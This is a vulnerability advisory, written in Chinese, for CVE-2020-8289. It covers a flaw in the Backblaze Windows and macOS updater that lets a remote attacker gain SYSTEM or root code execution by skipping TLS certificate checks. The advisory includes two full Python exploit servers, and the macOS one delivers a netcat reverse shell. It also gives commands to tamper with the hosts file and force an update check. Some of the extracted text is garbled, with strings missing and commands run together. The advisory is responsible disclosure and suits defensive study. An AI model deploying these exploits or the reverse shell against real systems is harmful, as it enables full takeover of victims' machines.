
CVE-2020-8289 – Remote Code Execution as SYSTEM/root via Backblaze
名称: 通过 Backblaze 实现 SYSTEM/root 级远程代码执行
CVE: CVE-2020-8289
发现者: Jason Geffner
供应商: Backblaze
产品: Backblaze for Windows 和 Backblaze for macOS
风险: 严重
发现日期: 2020-03-13
公开日期: 2020-09-09
修复版本: 7.0.1.433 (Windows) 和 7.1.0.434 (macOS)
根据维基百科,Backblaze 是
"一款在线备份工具,允许 Windows 和 macOS 用户将其数据备份到异地数据中心。该服务面向企业和终端用户,提供无限存储空间并支持无限文件大小。"
存在漏洞的 Backblaze for Windows 和 Backblaze for macOS 版本包含一个严重风险漏洞,允许无特权的匿名远程攻击者以 SYSTEM/root 权限执行远程代码执行 (RCE)。
Backblaze 客户端的服务进程 bzserv 在 Windows 上以 SYSTEM 权限运行,在 macOS 上以 root 权限运行。每隔几小时,bzserv 会运行一个名为 bztransmit 的程序(以 SYSTEM/root 权限执行),从 Backblaze 数据中心下载一个名为 clientversion.xml 的 XML 文件,以检查是否有新版本的 Backblaze 客户端可供下载。该 XML 文件的 URL 由已安装的 bzinstall.xml 文件(无特权用户只读)中的 bzdatacenter 主机名与硬编码路径 api/clientversion.xml 拼接而成,形如 https://ca000.backblaze.com/api/clientversion.xml。此下载通过静态链接的 libcurl 库完成。然而,使用 libcurl 的 bztransmit 函数包含特殊逻辑:如果给定 URL 包含以下字符串之一,则会将 CURLOPT_SSL_VERIFYPEER 设置为 0,CURLOPT_SSL_VERIFYHOST 设置为 0:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblaze这允许远程攻击者使用无效的 SSL 证书(例如自签名证书)冒充 Web 服务器 https://ca000.backblaze.com/,并向客户端提供攻击者控制的 clientversion.xml 文件。当 bztransmit 解析下载的 XML 文件时,它会检查 XML 文件中描述的最新客户端版本是否比已安装的客户端版本更新,如果是,则从 Backblaze 数据中心下载最新客户端版本的安装程序。此下载的 URL 由下载的 clientversion.xml 文件中的 win32_url/mac_url 属性构成;该属性的值必须以 %DEST_HOST% 开头,运行时该字符串会被替换为上述数据中心主机名。因此,攻击者可以在其 clientversion.xml 中提供诸如 %DEST_HOST%/api/install_backblaze 的下载 URL,使得 bztransmit 从 https://ca000.backblaze.com/api/install_backblaze 下载安装程序,并且由于 URL 中包含 api/install_backblaze 字符串,再次忽略服务器的 SSL 证书。如果下载的文件不是 ZIP 文件(例如是 PE 文件或 Mach-O 文件),则 bztransmit 对文件执行的唯一验证是检查文件在某个偏移范围内是否包含字符串 。一旦验证通过, 会使用 / 将下载的文件作为 / 运行,从而使攻击者能够以 / 权限执行 RCE。
视频: https://youtu.be/W0THXbcX5V8
此概念验证针对 Windows 客户端。我们假设攻击者已向受害者发送伪造的 DNS 响应,将 ca000.backblaze.com 指向攻击者的 IP,但出于 PoC 测试目的,您也可以在受害者的 %windir%\System32\drivers\etc\hosts 文件中添加一行 <攻击者 IP> ca000.backblaze.com。以下代码期望攻击者提供 rce.exe(将在受害者系统上以 SYSTEM 权限执行)和 server.pem(可以是自签名的)。
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
运行以上代码后,请等待。受害者的客户端每隔几小时会检查一次更新。
如果您想在不等待的情况下测试 PoC,可以在受害者系统上以 SYSTEM 权限(例如使用 psexec)运行以下命令以强制进行检查更新:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriate视频: https://youtu.be/ILPP1Ky5nuY
此概念验证针对 macOS 客户端。在真实世界中,攻击者会向受害者发送伪造的 DNS 响应,将 ca000.backblaze.com 指向攻击者的 IP,但出于 PoC 目的,我们与受害者处于同一系统,并利用被攻破的 Backblaze 服务创建指向攻击者的远程 Shell,从而使本应是远程的攻击者获得 root 访问权限。
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
运行以上代码后,请等待。受害者的客户端每隔几小时会检查一次更新。
如果您想在不等待的情况下测试 PoC,可以在受害者系统上运行以下命令以强制进行检查更新:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze 已在 Windows 版的 Backblaze 7.0.1.433 和 macOS 版的 7.0.1.434 中修复了此漏洞。
该漏洞由 Jason Geffner 通过 HackerOne 发现并向 Backblaze 报告。
2020-03-13 - 发现漏洞并通过 HackerOne 报告给 Backblaze
2020-03-31 - HackerOne 验证漏洞
2020-04-09 - 发布 Windows 构建 7.0.1.433 和 macOS 构建 7.1.0.434
2020-04-17 - 分配 CVE-2020-8150
2020-04-18 - 验证漏洞缓解措施
2020-04-20 - 请求公开发布
2020-09-09 - 公开发布
2020-12-22 - CVE 更改为 CVE-2020-8289
bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot